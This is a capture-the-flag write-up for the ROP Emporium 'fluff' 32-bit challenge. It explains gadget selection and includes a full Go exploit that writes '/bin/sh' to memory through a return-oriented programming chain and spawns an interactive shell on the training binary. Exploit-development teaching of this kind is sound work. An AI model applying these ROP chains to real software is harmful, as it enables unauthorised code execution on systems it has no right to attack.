Introduction

Fluff is the 5th challenge in the ROP Emporium series.
This is the approach taken to solve the 32 bit challenge step by step.
If you would like extra information on Return Oriented Programming (ROP) visit the ROP Emporium Guide.

Challenge description

Sort the useful gadgets from the fluff to construct another write primitive in this challenge.
You’ll have to get creative though, the gadgets aren’t straight forward.

Solution

The solution will be written in Go using the standard library only.
Although pwntools is a quick and easy way to approach this problem, Go can compile to a statically linked executable for most target systems.
Since the exploit path is known, we can focus on creating a ROP chain to obtain a system shell.

Assumptions

The following software is installed:

Technical

Inspect the binary

Check the properties:

We can see that the NX bit is set. This is the security feature we are defeating.

Identify sections:

The .data section at 0x0804a028 will be the target to write the string “/bin/sh” to pass to the system() library function.

Search for ROP gadgets

In the search field we select “ROP gadgets”, search in “All maps” and press “Search”.

Before we can write anything to memory, we need to identify the gadgets that will be best suited for the task.

Searching through all mov instructions, the following gadget at 0x08048693 moves the contents of the EDX register to the location ECX points to.

0x08048693      mov dword [ecx], edx
0x08048695      pop ebp
0x08048696      pop ebx
0x08048697      xor byte [ecx], bl
0x08048699      ret

With the above gadget, the following will write bytes to the .data section:

  1. Load the hexadecimal value of .data (0x0804a028) into the ECX register
  2. Load bytes, that we wish to write, into the EDX register
Note: Padding values should be placed on the stack for the “pop” instructions on all gadgets before the final “ret” instruction

Approach to the defined steps above:

1. Load the hexadecimal value of .data (0x0804a028) into the ECX register

Without a “pop ecx” or a simple “mov ecx, ???”, other instructions must be used to load a value into ECX.

0x08048684      mov edi, 0xdeadbeef
0x08048689      xchg edx, ecx
0x0804868b      pop ebp
0x0804868c      mov edx, 0xdefaced0
0x08048691      ret

The xchg instruction at 0x08048689 will swap the values of the EDX and ECX registers.
Searching for pop instructions returns very few options.

Searching for xor instructions returns very few options.

There is only one gadget that performs a xor on one register as both arguments.

0x08048670      pop edi
0x08048671      xor edx, edx
0x08048673      pop esi
0x08048674      mov ebp, 0xcafebabe
0x08048679      ret

This is important because the EDX register will be zeroed out after the gadget at 0x08048671, which would allow another value to be copied into EDX.

The gadget at 0x0804867b performs the xor operation on EDX and EBX. If a value is loaded into EBX and xor’d with EDX (if EDX is set to zero), EDX will contain the original value set in EBX before the operation.

0x0804867a      pop esi
0x0804867b      xor edx, ebx
0x0804867d      pop ebp
0x0804867e      mov edi, 0xdeadbabe
0x08048683      ret

Searching for pop ebx returns many results.

0x08048713      add esp, 8
0x08048716      pop ebx
0x08048717      ret

The gadget at 0x08048716 will pop the next 4 bytes on the stack into EBX.

Combined, the mentioned gadgets will load a value into ECX with the following sequence:

StepOne:
    pop ebx ; load value on stack into EBX
    ret
StepTwo:  
    xor edx, edx ; zero out the EDX register
    pop esi
    mov ebp, 0xcafebabe
    ret
StepThree:  
    xor edx, ebx ; the xor operation will exchange the contents of EBX into EDX
    pop ebp
    mov edi, 0xdeadbabe
    ret
StepFour:  
    xchg edx, ecx ; the xchg operation performs an exchange between the EDX and ECX registers respectively
    pop ebp
    mov edx, 0xdefaced0
    ret
2. Load bytes, that we wish to write, into the EDX register

The previous sequence to write to ECX, uses the EDX register to transfer bytes.
Writing to EDX will follow the same sequence without StepFour:

StepOne:
    pop ebx ; load value on stack into EBX
    ret
StepTwo:
    xor edx, edx ; zero out the EDX register
    pop esi
    mov ebp, 0xcafebabe
    ret
StepThree:
    xor edx, ebx ; the xor operation will exchange the contents of EBX into EDX
    pop ebp
    mov edi, 0xdeadbabe
    ret

Locate the system() library function

In the executable, the system() library function is already present.

The system() library function is located at 0x08048430. This is an easy win, because the address of an imported library function is no longer necessary.
With the address of an imported library function, for example printf(), the offset between that function and system() could be calculated.
This allows system() (printf() + offset) to be called directly with arguments placed on the stack for execution.

Write the exploit

Define addresses to use

The addresses of the previously identified gadgets and system() are defined as well as a padding variable.

package main

import (
	"bufio"
	"fmt"
	"io"
	"log"
	"os"
	"os/exec"
	"time"
)

// .data section
// Location: 0x0804a028
var dataSection = "\x28\xa0\x04\x08"
var dataSectionAdd4 = "\x2c\xa0\x04\x08"

// pop ebx; ret;
// Location: 0x08048716
var popEBX = "\x16\x87\x04\x08"

// xor edx, edx; pop esi; mov ebp, 0xcafebabe; ret;
// Location: 0x08048671
var xorEDXEDX = "\x71\x86\x04\x08"

// xor edx, ebx; pop ebp; mov edi, 0xdeadbabe; ret;
// Location: 0x0804867b
var xorEDXEBX = "\x7b\x86\x04\x08"

// xchg edx, ecx; pop ebp; mov edx, 0xdefaced0; ret
// Location: 0x08048689
var xchgEDXECX = "\x89\x86\x04\x08"

// mov dword [ecx], edx; pop ebp; pop ebx; xor byte [ecx], bl; ret;
// Location: 0x08048693
var movPtrECXEDX = "\x93\x86\x04\x08"

// system()
// Location: 0x08048430
var system = "\x30\x84\x04\x08"

// 4 byte padding for pop functions
var padding = "\x00\x00\x00\x00"

func main() {
}
Define helper functions

Due to the repeated use of ROP gadgets it is much easier to define functions that will write bytes to the data section.

Load a value into the EDX register
func loadEDX(bytesToLoad string) (ropChain string) {
	ropChain = xorEDXEDX
	ropChain += padding
	ropChain += popEBX
	ropChain += bytesToLoad
	ropChain += xorEDXEBX
	ropChain += padding
	return
}
Load a value into the ECX register
func loadECX(bytesToLoad string) (ropChain string) {
	ropChain = loadEDX(bytesToLoad)
	ropChain += xchgEDXECX
	ropChain += padding
	return
}
Write EDX to the value ECX points to
func writeECXPtr() (ropChain string) {
	ropChain = movPtrECXEDX
	ropChain += padding
	ropChain += padding
	return
}
Putting it all together
package main

import (
        "bufio"
        "fmt"
        "io"
        "log"
        "os"
        "os/exec"
        "time"
)

// .data section
// Location: 0x0804a028
var dataSection = "\x28\xa0\x04\x08"
var dataSectionAdd4 = "\x2c\xa0\x04\x08"

// pop ebx; ret;
// Location: 0x08048716
var popEBX = "\x16\x87\x04\x08"

// xor edx, edx; pop esi; mov ebp, 0xcafebabe; ret;
// Location: 0x08048671
var xorEDXEDX = "\x71\x86\x04\x08"

// xor edx, ebx; pop ebp; mov edi, 0xdeadbabe; ret;
// Location: 0x0804867b
var xorEDXEBX = "\x7b\x86\x04\x08"

// xchg edx, ecx; pop ebp; mov edx, 0xdefaced0; ret
// Location: 0x08048689
var xchgEDXECX = "\x89\x86\x04\x08"

// mov dword [ecx], edx; pop ebp; pop ebx; xor byte [ecx], bl; ret;
// Location: 0x08048693
var movPtrECXEDX = "\x93\x86\x04\x08"

// system()
// Location: 0x08048430
var system = "\x30\x84\x04\x08"

// 4 byte padding for pop functions
var padding = "\x00\x00\x00\x00"

func loadEDX(bytesToLoad string) (ropChain string) {
        ropChain = xorEDXEDX
        ropChain += padding
        ropChain += popEBX
        ropChain += bytesToLoad
        ropChain += xorEDXEBX
        ropChain += padding
        return
}

func loadECX(bytesToLoad string) (ropChain string) {
        ropChain = loadEDX(bytesToLoad)
        ropChain += xchgEDXECX
        ropChain += padding
        return
}

func writeECXPtr() (ropChain string) {
        ropChain = movPtrECXEDX
        ropChain += padding
        ropChain += padding
        return
}

func main() {
        binary := "./fluff32"
        cmd := exec.Command(binary)
        stdin, err := cmd.StdinPipe()
        if err != nil {
                log.Fatal(err)
        }
        stdout, err := cmd.StdoutPipe()
        if err != nil {
                log.Fatal(err)
        }
        stderr, err := cmd.StderrPipe()
        if err != nil {
                log.Fatal(err)
        }
        if err = cmd.Start(); err != nil {
                log.Fatal(err)
        }

        // Read the initial output
        output := bufio.NewReader(stdout)
        _, err = output.ReadBytes('>')
        if err != nil {
                log.Fatal(err)
        }

        // Copy output to the terminal
        go io.Copy(os.Stdout, stdout)
        go io.Copy(os.Stderr, stderr)

        // Create ROP chain
        var ropChain string
        for i := 0; i < 44; i++ {
                ropChain += "A"
        }
        // Load "/bin/sh" into .data
        // Due to only being able to load 4 bytes at a time
        // Load "/bin"
        ropChain += loadECX(dataSection)
        ropChain += loadEDX("/bin")
        ropChain += writeECXPtr()
        // Load "//sh"
        ropChain += loadECX(dataSectionAdd4)
        ropChain += loadEDX("//sh")
        ropChain += writeECXPtr()

        // Call system()
        ropChain += system
        ropChain += padding
        ropChain += dataSection
        ropChain += "\n"
        stdin.Write([]byte(ropChain))

        // Interact with shell
        for {
                input := bufio.NewReader(os.Stdin)
                fmt.Printf("$ ")
                shellCommand, _, _ := input.ReadLine()
                shellCommand = append(shellCommand, '\n')
                stdin.Write([]byte(shellCommand))
                time.Sleep(time.Millisecond * 6)
        }
}

ROP to shell

postrequest$ go run exploit.go
$ id
uid=1000(post) gid=1000(post) groups=1000(post)